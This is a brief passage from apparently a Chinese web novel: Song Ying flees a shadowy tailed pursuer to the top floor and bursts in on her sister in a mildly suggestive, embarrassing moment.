宋迎飞快冲进另一部电梯,刷开姐姐的顶层权限。 电梯门一开,她便直线冲了出去—— 刚跑了两步,回头一瞥。 她突然看见那截幽黑尾巴一闪而过。 啥玩意!? 宋迎头皮一阵发麻,他追到顶层了? 她加快速度,直扑向姐姐疏导室。 门被宋迎用力撞开—— 一室旖旎。 姐姐通体透着艳丽的粉色,正亲昵…… 她好像看见了什么了不得的东西。 更社死了。